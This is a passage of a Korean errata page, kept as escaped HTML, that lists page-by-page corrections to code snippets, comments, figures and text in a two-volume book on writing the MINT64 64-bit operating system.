&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;dwLBA&lt;/span&gt;, iSectorCount );&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 1186 Page, 밑에서 16 번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;iRealReadCount = MIN( gs_stRDDManager.dwTotalSectorCount -&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;dwLBA&lt;/span&gt;, iSectorCount );&lt;br /&gt;
  &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 1186 Page, 밑에서 2 번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;iRealWriteCount = MIN( gs_stRDDManager.dwTotalSectorCount -&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;dwLBA&lt;/span&gt;, iSectorCount );&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 1239 Page, 위에서 10째줄과 13째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;// LSB 제수 래치 레지스터(포트 0x3F8)에 &lt;b&gt;제수&lt;/b&gt;의 하위 8비트를 전송&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;//&amp;nbsp;MSB 제수 래치 레지스터(포트 0x3F9)에 &lt;b&gt;제수&lt;/b&gt;의 상위 8비트를 전송&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 1246 Page, 위에서 2째줄과 5째줄&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;// LSB 제수 래치 레지스터(포트 0x3F8)에&amp;nbsp;&lt;b&gt;제수&lt;/b&gt;의 하위 8비트를 전송&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;//&amp;nbsp;MSB 제수 래치 레지스터(포트 0x3F9)에&amp;nbsp;&lt;b&gt;제수&lt;/b&gt;의 상위 8비트를 전송&lt;/p&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;*. 1251 Page, [예제 28-3]의 소스 부분&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;#include &quot;FileSystem.h&quot; &amp;lt;-- Normal 글씨체로 수정&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;b&gt;#include &quot;SerialPort.h&quot; &amp;lt;-- Bold 글씨체로 수정&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;*. 1280 Page, 위에서 5번째줄, 맨 앞의 &quot;-&quot;를 &quot;*&quot;로 대체하고 위의 *와 같은 레벨로 들여쓰기 수정&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;b&gt;* BIOS의 롬 영역 중에서 0x0F0000~ 0x0FFFFF 범위 내에 존재&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;* 1291 Page, [그림 29-13]&lt;/b&gt;에서 &lt;b&gt;전달할 로컬 APIC INTIN&lt;/b&gt;을 전달할 &lt;b&gt;로컬 APIC LINTIN&lt;/b&gt;으로 수정, &lt;b&gt;0x00&lt;/b&gt;을 &lt;b&gt;0x04&lt;/b&gt;로 수정&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%5B%EA%B7%B8%EB%A6%BC%2029-13%5D.PNG&quot; alt=&quot;[그림 29-13].PNG&quot; title=&quot;[그림 29-13].PNG&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;192&quot; width=&quot;712&quot;&gt;
&lt;/span&gt;&amp;nbsp;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;* 1399 Page, [그림 31-1]에서 오른쪽 아래에 있는 &quot;ㅁ: 비활성화 된 부분&quot;의 사각형을 회색으로 변경&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%5B%EA%B7%B8%EB%A6%BC%2031-1%5D.PNG&quot; alt=&quot;[그림 31-1].PNG&quot; title=&quot;[그림 31-1].PNG&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;410&quot; width=&quot;604&quot;&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;h1 style=&quot;text-align: center;&quot;&gt;==== 2권의 오탈자 내용 ====&lt;/h1&gt;&lt;p&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;*. 1528 Page, 아래에서 11번째 줄&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;margin-left: 40px;&quot;&gt;
태스크 풀을 관리하는 함수를 수정하는 방법은 &lt;span style=&quot;font-weight: bold;&quot;&gt;33.2.2&lt;/span&gt;절에서 살펴보므로, 이번 절에서는 수정된 태스크 풀 자료구조만 살펴보고 넘어가겠습니다.&lt;br /&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*. 1539 Page, 위에서 7번째 줄, 1580 Page, 아래에서 12번째 줄&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;// 나머지 코어에서 현재 태스크와 같은 레벨을 검사&lt;/span&gt; &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*. 1612 Page, 아래에서 2째줄&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;하지만,&lt;span style=&quot;font-weight: bold;&quot;&gt; 7부가&lt;/span&gt; 지나면 곧 다시 돌아오니 너무 아쉬워 할 필요는 없습니다.&lt;br /&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*. 1655 Page, 위에서 5번째 줄&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;브레슨햄 직선 알고리즘을 사용한 선 그리기 함수의 코드 - &lt;span style=&quot;font-weight: bold;&quot;&gt;최적화 후&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;*. 1672 Page, 35.2.1절에서 아래로 8번째줄&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;하지만, 문자 정보가 비트맵으로 들어 있으므로 확대하거나 축소했을 때 문자가 깨끗하게 표시되지 않고, &lt;span style=&quot;font-weight: bold;&quot;&gt;굵게하거나&lt;/span&gt; 기울일려면 해당 스타일의 비트맵을 모두 생성해야하는 단점이 있습니다.&lt;/p&gt;
&lt;p&gt; &lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*.1764 Page, 아래에서 10번째줄, kDrawMouse -&amp;gt; kDrawCursor로 수정&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;kDrawCursor&lt;/span&gt;( &amp;amp;stScreenArea, pstVideoMemory, iX, iY );&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*. 1882 Page, 위에서 7번째 줄&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;이 절에서 작성할 윈도우 매니저는 더 이상 테스트 코드가 아닌 실제 코드로서, 키보드와 마우스 데이터를 이용해 &lt;span style=&quot;font-weight: bold;&quot;&gt;윈도우로 이벤트를 전달하는 기능과 업데이트를 수행하는 기능을 구현합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*. 1946 Page, 위에서 4번째 줄&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin-left: 40px;&quot;&gt;//----------------------------------------------------------------------------------------------&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin-left: 40px;&quot;&gt;// 제목 표시줄 그리기&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin-left: 40px;&quot;&gt;//----------------------------------------------------------------------------------------------&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin-left: 40px;&quot;&gt;// 제목 표시줄을 채움&lt;/p&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if( bSelectedTitle == TRUE ) &lt;br /&gt;
&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;{ &lt;br /&gt;
&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; stTitleBarColor = WINDOW_COLOR_TITLEBARACTIVEBACKGROUND; &lt;br /&gt;
&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;} &lt;br /&gt;
&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;else &lt;br /&gt;
&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;{ &lt;br /&gt;
&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; stTitleBarColor = WINDOW_COLOR_TITLEBARINACTIVEBACKGROUND;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;/span&gt;}&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/span&gt;&lt;p style=&quot;margin-left: 40px; font-weight: bold;&quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px; font-weight: bold;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;kInternalDrawRect( &amp;amp;stArea, ... 생략 ...)&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*. 1951 Page, 위에서 6번째 줄&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;39장의&lt;/span&gt; 내용을 MINT64 OS에 추가한 뒤 make를 입력하면 Disk.img 파일이 생성됩니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 1994 Page, 위에서 6번째 줄 제목&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin: 0 0 0 40px; border: none; padding: 0px;&quot;&gt;&lt;p&gt;41.1.1 Z 순서의 &lt;b&gt;가장 아래에서 위로&lt;/b&gt; 그리는 알고리즘의 문제점&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 1998 Page, 위에서 3번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin: 0 0 0 40px; border: none; padding: 0px;&quot;&gt;&lt;p&gt;윈도우 1은 자신의 영역에 포함된 픽셀 오프셋 5~7 부분을 &lt;b&gt;비디오 메모리로 전송한 뒤 해당 영역의 비트맵을&lt;/b&gt; 모두 0으로 표시합니다.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 2027 Page, 아래에서 3번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin: 0 0 0 40px; border: none; padding: 0px;&quot;&gt;&lt;p&gt;특히 &lt;b&gt;마우스 데이터를 처리하는 부분&lt;/b&gt;과 화면 업데이트 요청을 처리하는 부분은 조금만 수정하면 화면 업데이트 횟수를 많이 줄일 수 있기 때문에 속도에 목마른 우리에겐 아주 중요한 포인트입니다.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2150 Page, 위에서 첫번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;43장에서는&lt;/b&gt; 프로세서의 정보와 메모리 정보를 표시하는 시스템 모니터 태스크를 구현해 봤습니다.&amp;nbsp;&lt;/p&gt;
&lt;/blockquote&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2150 Page, 위에서 6번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;44장에서는 &lt;/b&gt;다시 고전으로 돌아가 역사의 뒤안길로 사라졌던 콘솔 셸을 GUI 버전으로 부활시킬 것입니다.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2169 Page, 위에서 7번째 줄 도움말&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;while( kGetKeyFromGUIKeyQueue( &amp;amp;stData) == FALSE)&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |---------- 그래픽 모드용&lt;/b&gt; 키 큐에서 데이터를 꺼내는 함수&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;/blockquote&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2182 Page, &quot;44.3.2 콘솔 파일 수정&quot;에서 아래 첫번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;콘솔 파일은 그래픽 모드 지원을 위해 입출력 함수의 &lt;b&gt;코드를 일부 수정하고&lt;/b&gt;, 그래픽 모드용 화면 버퍼와 키 큐를 추가했습니다.&lt;/p&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;/blockquote&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2309 Page 전체를 아래 내용으로 교체&lt;/b&gt;&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/2309%20%ED%8E%98%EC%9D%B4%EC%A7%80%EC%9D%98%20%EB%82%B4%EC%9A%A9.PNG&quot; alt=&quot;2309 페이지의 내용.PNG&quot; title=&quot;2309 페이지의 내용.PNG&quot; class=&quot;iePngFix&quot; style=&quot;width: 764px; height: 758px;&quot;&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;/blockquote&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2400 Page, 아래에서 4번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;MINT64 OS에는 아직까지 MSR에 읽고 쓰는 함수가 없으므로 &lt;b&gt;MSR에 관련된&lt;/b&gt; 어셈블리어 함수부터 만들겠습니다.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2546 Page, &quot;[표 50-2] e_entry 필드의 세부 구성과 의미&quot;를 &quot;[표 50-2] e_ident[16] 필드의 세부 구성과 의미&quot;로 변경&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2546 Page, 아래에서 7번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;가장 먼저 할 일은 &lt;span style=&quot;font-weight: bold;&quot;&gt;e_ident 필드의&lt;/span&gt; 상위 4바이트가 매직 넘버이므로, 파일의 첫 4바이트가 매직 넘버와 일치하는지를 검사하여 올바른 ELF64 파일인지 확인하는 것입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2548 Page, 아래에서 5번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;현재 섹션의 타입에 따라 필드의 의미가 달라지며 자세한 내용은 &lt;span style=&quot;font-weight: bold;&quot;&gt;[표50-6]&lt;/span&gt;을 참조&lt;br /&gt;
&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*. 2616 Page, 위에서 첫번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;[그림 51-2]&lt;/span&gt;는 이러한 처리 과정을 나타낸 그림입니다.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 2625 Page 위에서 14번째 줄,&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;b&gt;2641 Page 아래에서 8번째줄, 2785 Page 밑에서 7번째줄,&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
